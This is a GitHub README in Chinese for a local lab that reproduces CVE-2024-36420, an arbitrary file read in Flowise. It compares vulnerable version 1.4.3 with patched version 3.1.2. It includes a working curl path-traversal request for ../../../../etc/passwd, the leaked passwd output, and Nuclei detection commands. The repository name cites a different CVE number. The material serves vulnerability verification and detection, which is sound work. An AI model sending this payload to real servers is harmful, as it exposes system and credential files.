junn34/POC_CVE-2024-10829
GitHub: junn34/POC_CVE-2024-10829
该项目提供了 Flowise CVE-2024-36420 任意文件读取漏洞的本地复现环境和 Nuclei 检测模板,用于验证漏洞行为并对比修复版本。
Stars: 0 | Forks: 0
# POC_CVE-2024-36420
针对影响 Flowise 的 `CVE-2024-36420` 的本地复现实验室和 nuclei 模板草案。
## 概述
`CVE-2024-36420` 是 Flowise 中存在的一个任意文件读取漏洞,由以下接口中未经过滤地使用 `fileName` body 参数引起:
- `POST /api/v1/openai-assistants-file`
本实验室用于验证以下内容:
- `flowiseai/flowise:1.4.3` 上的漏洞行为
- 较新的 `flowiseai/flowise:3.1.2` 上的拒绝访问行为
## 参考
- NVD: https://nvd.nist.gov/vuln/detail/CVE-2024-36420
- GitHub Security Lab: https://securitylab.github.com/advisories/GHSL-2023-232_GHSL-2023-234_Flowise/
## 文件
- `docker-compose.yml`
- `docker-compose.latest.yml`
- `CVE-2024-36420.yaml`
## 漏洞测试
启动 Flowise `1.4.3`:
```
docker compose down -v
docker compose up -d
docker compose logs --tail=100 flowise
```
手动验证:
```
curl -i \
-X POST http://127.0.0.1:3000/api/v1/openai-assistants-file \
-H 'Content-Type: application/json' \
-d '{"fileName":"../../../../etc/passwd"}'
```
观察到的漏洞响应:
```
HTTP/1.1 200 OK
Content-Disposition: attachment; filename=passwd
...
root:x:0:0:root:/root:/bin/ash
daemon:x:2:2:daemon:/sbin:/sbin/nologin
...
```
## 新版本对照
启动较新的 Flowise `3.1.2`:
```
docker compose -f docker-compose.latest.yml down -v
docker compose -f docker-compose.latest.yml up -d
docker compose -f docker-compose.latest.yml logs --tail=100 flowise
```
手动验证:
```
curl -i \
-X POST http://127.0.0.1:3000/api/v1/openai-assistants-file \
-H 'Content-Type: application/json' \
-d '{"fileName":"../../../../etc/passwd"}'
```
观察到的新版本响应:
```
HTTP/1.1 401 Unauthorized
{"error":"Unauthorized Access"}
```
## Nuclei
验证模板:
```
nuclei -duc -validate -t CVE-2024-36420.yaml
```
针对漏洞目标运行:
```
nuclei -duc -u http://127.0.0.1:3000 -t CVE-2024-36420.yaml
```
预期行为:
- `1.4.3`:匹配
- `3.1.2`:不匹配
## 注意事项
- 这种版本差距是可以接受的,因为本仓库仅声明观察到的行为:
- `1.4.3` 上存在漏洞
- `3.1.2` 上已拒绝访问
- 并未声明确切的补丁版本边界。
- 未使用任何真实世界目标。
标签:Docker, Google, Maven, Nuclei, 安全防御评估, 漏洞复现环境, 漏洞验证, 版权保护, 请求拦截, 路径穿越